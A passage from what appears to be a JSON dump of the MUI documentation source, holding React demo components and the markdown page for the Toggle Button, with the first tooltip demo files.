    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\nimport { styled } from '@mui/material/styles';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  gap: '2rem',\n  [`& .${toggleButtonGroupClasses.firstButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderLeft: `1px solid ${(theme.vars || theme).palette.divider}`,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled}, & .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n    {\n      borderLeft: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n    },\n}));\n\nexport default function HorizontalSpacingToggleButton() {\n  const [alignment, setAlignment] = React.useState<string | null>('left');\n\n  const handleAlignment = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string | null,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <StyledToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </StyledToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/StandaloneToggleButton.js",
    "content": "import * as React from 'react';\nimport CheckIcon from '@mui/icons-material/Check';\nimport ToggleButton from '@mui/material/ToggleButton';\n\nexport default function StandaloneToggleButton() {\n  const [selected, setSelected] = React.useState(false);\n\n  return (\n    <ToggleButton\n      value=\"check\"\n      selected={selected}\n      onChange={() => setSelected((prevSelected) => !prevSelected)}\n    >\n      <CheckIcon />\n    </ToggleButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/StandaloneToggleButton.tsx",
    "content": "import * as React from 'react';\nimport CheckIcon from '@mui/icons-material/Check';\nimport ToggleButton from '@mui/material/ToggleButton';\n\nexport default function StandaloneToggleButton() {\n  const [selected, setSelected] = React.useState(false);\n\n  return (\n    <ToggleButton\n      value=\"check\"\n      selected={selected}\n      onChange={() => setSelected((prevSelected) => !prevSelected)}\n    >\n      <CheckIcon />\n    </ToggleButton>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/StandaloneToggleButton.tsx.preview",
    "content": "<ToggleButton\n  value=\"check\"\n  selected={selected}\n  onChange={() => setSelected((prevSelected) => !prevSelected)}\n>\n  <CheckIcon />\n</ToggleButton>"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonNotEmpty.js",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport LaptopIcon from '@mui/icons-material/Laptop';\nimport TvIcon from '@mui/icons-material/Tv';\nimport PhoneAndroidIcon from '@mui/icons-material/PhoneAndroid';\nimport Stack from '@mui/material/Stack';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonNotEmpty() {\n  const [alignment, setAlignment] = React.useState('left');\n  const [devices, setDevices] = React.useState(() => ['phone']);\n\n  const handleAlignment = (event, newAlignment) => {\n    if (newAlignment !== null) {\n      setAlignment(newAlignment);\n    }\n  };\n\n  const handleDevices = (event, newDevices) => {\n    if (newDevices.length) {\n      setDevices(newDevices);\n    }\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={4}>\n      <ToggleButtonGroup\n        value={alignment}\n        exclusive\n        onChange={handleAlignment}\n        aria-label=\"text alignment\"\n      >\n        <ToggleButton value=\"left\" aria-label=\"left aligned\">\n          <FormatAlignLeftIcon />\n        </ToggleButton>\n        <ToggleButton value=\"center\" aria-label=\"centered\">\n          <FormatAlignCenterIcon />\n        </ToggleButton>\n        <ToggleButton value=\"right\" aria-label=\"right aligned\">\n          <FormatAlignRightIcon />\n        </ToggleButton>\n      </ToggleButtonGroup>\n\n      <ToggleButtonGroup\n        value={devices}\n        onChange={handleDevices}\n        aria-label=\"device\"\n      >\n        <ToggleButton value=\"laptop\" aria-label=\"laptop\">\n          <LaptopIcon />\n        </ToggleButton>\n        <ToggleButton value=\"tv\" aria-label=\"tv\">\n          <TvIcon />\n        </ToggleButton>\n        <ToggleButton value=\"phone\" aria-label=\"phone\">\n          <PhoneAndroidIcon />\n        </ToggleButton>\n      </ToggleButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonNotEmpty.tsx",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport LaptopIcon from '@mui/icons-material/Laptop';\nimport TvIcon from '@mui/icons-material/Tv';\nimport PhoneAndroidIcon from '@mui/icons-material/PhoneAndroid';\nimport Stack from '@mui/material/Stack';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonNotEmpty() {\n  const [alignment, setAlignment] = React.useState('left');\n  const [devices, setDevices] = React.useState(() => ['phone']);\n\n  const handleAlignment = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string | null,\n  ) => {\n    if (newAlignment !== null) {\n      setAlignment(newAlignment);\n    }\n  };\n\n  const handleDevices = (\n    event: React.MouseEvent<HTMLElement>,\n    newDevices: string[],\n  ) => {\n    if (newDevices.length) {\n      setDevices(newDevices);\n    }\n  };\n\n  return (\n    <Stack direction=\"row\" spacing={4}>\n      <ToggleButtonGroup\n        value={alignment}\n        exclusive\n        onChange={handleAlignment}\n        aria-label=\"text alignment\"\n      >\n        <ToggleButton value=\"left\" aria-label=\"left aligned\">\n          <FormatAlignLeftIcon />\n        </ToggleButton>\n        <ToggleButton value=\"center\" aria-label=\"centered\">\n          <FormatAlignCenterIcon />\n        </ToggleButton>\n        <ToggleButton value=\"right\" aria-label=\"right aligned\">\n          <FormatAlignRightIcon />\n        </ToggleButton>\n      </ToggleButtonGroup>\n\n      <ToggleButtonGroup\n        value={devices}\n        onChange={handleDevices}\n        aria-label=\"device\"\n      >\n        <ToggleButton value=\"laptop\" aria-label=\"laptop\">\n          <LaptopIcon />\n        </ToggleButton>\n        <ToggleButton value=\"tv\" aria-label=\"tv\">\n          <TvIcon />\n        </ToggleButton>\n        <ToggleButton value=\"phone\" aria-label=\"phone\">\n          <PhoneAndroidIcon />\n        </ToggleButton>\n      </ToggleButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonSizes.js",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport Stack from '@mui/material/Stack';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonSizes() {\n  const [alignment, setAlignment] = React.useState('left');\n\n  const handleChange = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  const children = [\n    <ToggleButton value=\"left\" key=\"left\">\n      <FormatAlignLeftIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"center\" key=\"center\">\n      <FormatAlignCenterIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"right\" key=\"right\">\n      <FormatAlignRightIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"justify\" key=\"justify\">\n      <FormatAlignJustifyIcon />\n    </ToggleButton>,\n  ];\n\n  const control = {\n    value: alignment,\n    onChange: handleChange,\n    exclusive: true,\n  };\n\n  return (\n    <Stack spacing={2} sx={{ alignItems: 'center' }}>\n      <ToggleButtonGroup size=\"small\" {...control} aria-label=\"Small sizes\">\n        {children}\n      </ToggleButtonGroup>\n      <ToggleButtonGroup {...control} aria-label=\"Medium sizes\">\n        {children}\n      </ToggleButtonGroup>\n      <ToggleButtonGroup size=\"large\" {...control} aria-label=\"Large sizes\">\n        {children}\n      </ToggleButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonSizes.tsx",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport Stack from '@mui/material/Stack';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonSizes() {\n  const [alignment, setAlignment] = React.useState('left');\n\n  const handleChange = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  const children = [\n    <ToggleButton value=\"left\" key=\"left\">\n      <FormatAlignLeftIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"center\" key=\"center\">\n      <FormatAlignCenterIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"right\" key=\"right\">\n      <FormatAlignRightIcon />\n    </ToggleButton>,\n    <ToggleButton value=\"justify\" key=\"justify\">\n      <FormatAlignJustifyIcon />\n    </ToggleButton>,\n  ];\n\n  const control = {\n    value: alignment,\n    onChange: handleChange,\n    exclusive: true,\n  };\n\n  return (\n    <Stack spacing={2} sx={{ alignItems: 'center' }}>\n      <ToggleButtonGroup size=\"small\" {...control} aria-label=\"Small sizes\">\n        {children}\n      </ToggleButtonGroup>\n      <ToggleButtonGroup {...control} aria-label=\"Medium sizes\">\n        {children}\n      </ToggleButtonGroup>\n      <ToggleButtonGroup size=\"large\" {...control} aria-label=\"Large sizes\">\n        {children}\n      </ToggleButtonGroup>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonSizes.tsx.preview",
    "content": "<ToggleButtonGroup size=\"small\" {...control} aria-label=\"Small sizes\">\n  {children}\n</ToggleButtonGroup>\n<ToggleButtonGroup {...control} aria-label=\"Medium sizes\">\n  {children}\n</ToggleButtonGroup>\n<ToggleButtonGroup size=\"large\" {...control} aria-label=\"Large sizes\">\n  {children}\n</ToggleButtonGroup>"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtons.js",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtons() {\n  const [alignment, setAlignment] = React.useState('left');\n\n  const handleAlignment = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <ToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtons.tsx",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtons() {\n  const [alignment, setAlignment] = React.useState<string | null>('left');\n\n  const handleAlignment = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string | null,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <ToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonsMultiple.js",
    "content": "import * as React from 'react';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport FormatUnderlinedIcon from '@mui/icons-material/FormatUnderlined';\nimport FormatColorFillIcon from '@mui/icons-material/FormatColorFill';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonsMultiple() {\n  const [formats, setFormats] = React.useState(() => ['bold', 'italic']);\n\n  const handleFormat = (event, newFormats) => {\n    setFormats(newFormats);\n  };\n\n  return (\n    <ToggleButtonGroup\n      value={formats}\n      onChange={handleFormat}\n      aria-label=\"text formatting\"\n    >\n      <ToggleButton value=\"bold\" aria-label=\"bold\">\n        <FormatBoldIcon />\n      </ToggleButton>\n      <ToggleButton value=\"italic\" aria-label=\"italic\">\n        <FormatItalicIcon />\n      </ToggleButton>\n      <ToggleButton value=\"underlined\" aria-label=\"underlined\">\n        <FormatUnderlinedIcon />\n      </ToggleButton>\n      <ToggleButton value=\"color\" aria-label=\"color\" disabled>\n        <FormatColorFillIcon />\n        <ArrowDropDownIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/ToggleButtonsMultiple.tsx",
    "content": "import * as React from 'react';\nimport FormatBoldIcon from '@mui/icons-material/FormatBold';\nimport FormatItalicIcon from '@mui/icons-material/FormatItalic';\nimport FormatUnderlinedIcon from '@mui/icons-material/FormatUnderlined';\nimport FormatColorFillIcon from '@mui/icons-material/FormatColorFill';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function ToggleButtonsMultiple() {\n  const [formats, setFormats] = React.useState(() => ['bold', 'italic']);\n\n  const handleFormat = (\n    event: React.MouseEvent<HTMLElement>,\n    newFormats: string[],\n  ) => {\n    setFormats(newFormats);\n  };\n\n  return (\n    <ToggleButtonGroup\n      value={formats}\n      onChange={handleFormat}\n      aria-label=\"text formatting\"\n    >\n      <ToggleButton value=\"bold\" aria-label=\"bold\">\n        <FormatBoldIcon />\n      </ToggleButton>\n      <ToggleButton value=\"italic\" aria-label=\"italic\">\n        <FormatItalicIcon />\n      </ToggleButton>\n      <ToggleButton value=\"underlined\" aria-label=\"underlined\">\n        <FormatUnderlinedIcon />\n      </ToggleButton>\n      <ToggleButton value=\"color\" aria-label=\"color\" disabled>\n        <FormatColorFillIcon />\n        <ArrowDropDownIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/VerticalSpacingToggleButton.js",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\nimport { styled } from '@mui/material/styles';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  gap: '2rem',\n  [`& .${toggleButtonGroupClasses.firstButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled}, & .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n    {\n      borderTop: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n    },\n}));\n\nexport default function VerticalSpacingToggleButton() {\n  const [alignment, setAlignment] = React.useState('left');\n\n  const handleAlignment = (event, newAlignment) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <StyledToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n      orientation=\"vertical\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </StyledToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/VerticalSpacingToggleButton.tsx",
    "content": "import * as React from 'react';\nimport FormatAlignLeftIcon from '@mui/icons-material/FormatAlignLeft';\nimport FormatAlignCenterIcon from '@mui/icons-material/FormatAlignCenter';\nimport FormatAlignRightIcon from '@mui/icons-material/FormatAlignRight';\nimport FormatAlignJustifyIcon from '@mui/icons-material/FormatAlignJustify';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses,\n} from '@mui/material/ToggleButtonGroup';\nimport { styled } from '@mui/material/styles';\n\nconst StyledToggleButtonGroup = styled(ToggleButtonGroup)(({ theme }) => ({\n  gap: '2rem',\n  [`& .${toggleButtonGroupClasses.firstButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}, & .${toggleButtonGroupClasses.middleButton}`]:\n    {\n      borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      borderTop: `1px solid ${(theme.vars || theme).palette.divider}`,\n    },\n  [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled}, & .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n    {\n      borderTop: `1px solid ${(theme.vars || theme).palette.action.disabledBackground}`,\n    },\n}));\n\nexport default function VerticalSpacingToggleButton() {\n  const [alignment, setAlignment] = React.useState<string | null>('left');\n\n  const handleAlignment = (\n    event: React.MouseEvent<HTMLElement>,\n    newAlignment: string | null,\n  ) => {\n    setAlignment(newAlignment);\n  };\n\n  return (\n    <StyledToggleButtonGroup\n      value={alignment}\n      exclusive\n      onChange={handleAlignment}\n      aria-label=\"text alignment\"\n      orientation=\"vertical\"\n    >\n      <ToggleButton value=\"left\" aria-label=\"left aligned\">\n        <FormatAlignLeftIcon />\n      </ToggleButton>\n      <ToggleButton value=\"center\" aria-label=\"centered\">\n        <FormatAlignCenterIcon />\n      </ToggleButton>\n      <ToggleButton value=\"right\" aria-label=\"right aligned\">\n        <FormatAlignRightIcon />\n      </ToggleButton>\n      <ToggleButton value=\"justify\" aria-label=\"justified\" disabled>\n        <FormatAlignJustifyIcon />\n      </ToggleButton>\n    </StyledToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/VerticalToggleButtons.js",
    "content": "import * as React from 'react';\nimport ViewListIcon from '@mui/icons-material/ViewList';\nimport ViewModuleIcon from '@mui/icons-material/ViewModule';\nimport ViewQuiltIcon from '@mui/icons-material/ViewQuilt';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function VerticalToggleButtons() {\n  const [view, setView] = React.useState('list');\n\n  const handleChange = (event, nextView) => {\n    setView(nextView);\n  };\n\n  return (\n    <ToggleButtonGroup\n      orientation=\"vertical\"\n      value={view}\n      exclusive\n      onChange={handleChange}\n    >\n      <ToggleButton value=\"list\" aria-label=\"list\">\n        <ViewListIcon />\n      </ToggleButton>\n      <ToggleButton value=\"module\" aria-label=\"module\">\n        <ViewModuleIcon />\n      </ToggleButton>\n      <ToggleButton value=\"quilt\" aria-label=\"quilt\">\n        <ViewQuiltIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/VerticalToggleButtons.tsx",
    "content": "import * as React from 'react';\nimport ViewListIcon from '@mui/icons-material/ViewList';\nimport ViewModuleIcon from '@mui/icons-material/ViewModule';\nimport ViewQuiltIcon from '@mui/icons-material/ViewQuilt';\nimport ToggleButton from '@mui/material/ToggleButton';\nimport ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n\nexport default function VerticalToggleButtons() {\n  const [view, setView] = React.useState('list');\n\n  const handleChange = (event: React.MouseEvent<HTMLElement>, nextView: string) => {\n    setView(nextView);\n  };\n\n  return (\n    <ToggleButtonGroup\n      orientation=\"vertical\"\n      value={view}\n      exclusive\n      onChange={handleChange}\n    >\n      <ToggleButton value=\"list\" aria-label=\"list\">\n        <ViewListIcon />\n      </ToggleButton>\n      <ToggleButton value=\"module\" aria-label=\"module\">\n        <ViewModuleIcon />\n      </ToggleButton>\n      <ToggleButton value=\"quilt\" aria-label=\"quilt\">\n        <ViewQuiltIcon />\n      </ToggleButton>\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/toggle-button/VerticalToggleButtons.tsx.preview",
    "content": "<ToggleButtonGroup\n  orientation=\"vertical\"\n  value={view}\n  exclusive\n  onChange={handleChange}\n>\n  <ToggleButton value=\"list\" aria-label=\"list\">\n    <ViewListIcon />\n  </ToggleButton>\n  <ToggleButton value=\"module\" aria-label=\"module\">\n    <ViewModuleIcon />\n  </ToggleButton>\n  <ToggleButton value=\"quilt\" aria-label=\"quilt\">\n    <ViewQuiltIcon />\n  </ToggleButton>\n</ToggleButtonGroup>"
  },
  {
    "path": "docs/data/material/components/toggle-button/toggle-button.md",
    "content": "---\nproductId: material-ui\ntitle: Toggle Button React component\ncomponents: ToggleButton, ToggleButtonGroup\ngithubLabel: 'scope: toggle button'\nmaterialDesign: https://m2.material.io/components/buttons#toggle-button\ngithubSource: packages/mui-material/src/ToggleButton\n---\n\n# Toggle Button\n\n<p class=\"description\">A Toggle Button can be used to group related options.</p>\n\nTo emphasize groups of related Toggle buttons,\na group should share a common container.\nThe `ToggleButtonGroup` controls the selected state of its child buttons when given its own `value` prop.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Exclusive selection\n\nWith exclusive selection, selecting one option deselects any other.\n\nIn this example, text justification toggle buttons present options for left, center, right, and fully justified text (disabled), with only one item available for selection at a time.\n\n**Note**: Exclusive selection does not enforce that a button must be active. For that effect see [enforce value set](#enforce-value-set).\n\n{{\"demo\": \"ToggleButtons.js\"}}\n\n## Multiple selection\n\nMultiple selection allows for logically-grouped options, like bold, italic, and underline, to have multiple options selected.\n\n{{\"demo\": \"ToggleButtonsMultiple.js\"}}\n\n## Size\n\nFor larger or smaller buttons, use the `size` prop.\n\n{{\"demo\": \"ToggleButtonSizes.js\"}}\n\n## Color\n\n{{\"demo\": \"ColorToggleButton.js\"}}\n\n## Vertical buttons\n\nThe buttons can be stacked vertically with the `orientation` prop set to \"vertical\".\n\n{{\"demo\": \"VerticalToggleButtons.js\"}}\n\n## Enforce value set\n\nIf you want to enforce that at least one button must be active, you can adapt your handleChange function.\n\n```jsx\nconst handleAlignment = (event, newAlignment) => {\n  if (newAlignment !== null) {\n    setAlignment(newAlignment);\n  }\n};\n\nconst handleDevices = (event, newDevices) => {\n  if (newDevices.length) {\n    setDevices(newDevices);\n  }\n};\n```\n\n{{\"demo\": \"ToggleButtonNotEmpty.js\"}}\n\n## Standalone toggle button\n\n{{\"demo\": \"StandaloneToggleButton.js\"}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedDividers.js\", \"bg\": true}}\n\n### Spacing\n\nThe demos below show how to adjust spacing between toggle buttons in horizontal and vertical orientations.\n\n#### Horizontal Spacing\n\n{{\"demo\": \"HorizontalSpacingToggleButton.js\"}}\n\n#### Vertical Spacing\n\n{{\"demo\": \"VerticalSpacingToggleButton.js\"}}\n\n## Accessibility\n\n### ARIA\n\n- ToggleButtonGroup has `role=\"group\"`. You should provide an accessible label with `aria-label=\"label\"`, `aria-labelledby=\"id\"` or `<label>`.\n- ToggleButton sets `aria-pressed=\"<bool>\"` according to the button state. You should label each button with `aria-label`.\n\n### Keyboard\n\nAt present, toggle buttons are in DOM order. Navigate between them with the tab key. The button behavior follows standard keyboard semantics.\n"
  },
  {
    "path": "docs/data/material/components/tooltips/AccessibilityTooltips.js",
    "content": "import DeleteIcon from '@mui/icons-material/Delete';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function AccessibilityTooltips() {\n  return (\n    <div>\n      <Tooltip title=\"Delete\">\n        <IconButton>\n          <DeleteIcon />\n        </IconButton>\n      </Tooltip>\n      <Tooltip describeChild title=\"Does not add if it already exists.\">\n        <Button>Add</Button>\n      </Tooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/AccessibilityTooltips.tsx",
    "content": "import DeleteIcon from '@mui/icons-material/Delete';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\n\nexport default function AccessibilityTooltips() {\n  return (\n    <div>\n      <Tooltip title=\"Delete\">\n        <IconButton>\n          <DeleteIcon />\n        </IconButton>\n      </Tooltip>\n      <Tooltip describeChild title=\"Does not add if it already exists.\">\n        <Button>Add</Button>\n      </Tooltip>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tooltips/AccessibilityTooltips.tsx.preview",
    "content": "<Tooltip title=\"Delete\">\n  <IconButton>\n    <DeleteIcon />\n  </IconButton>\n</Tooltip>\n<Tooltip describeChild title=\"Does not add if it already exists.\">\n  <Button>Add</Button>\n</Tooltip>"
  },
  {
    "path": "docs/data/material/components/tooltips/AnchorElTooltips.js",
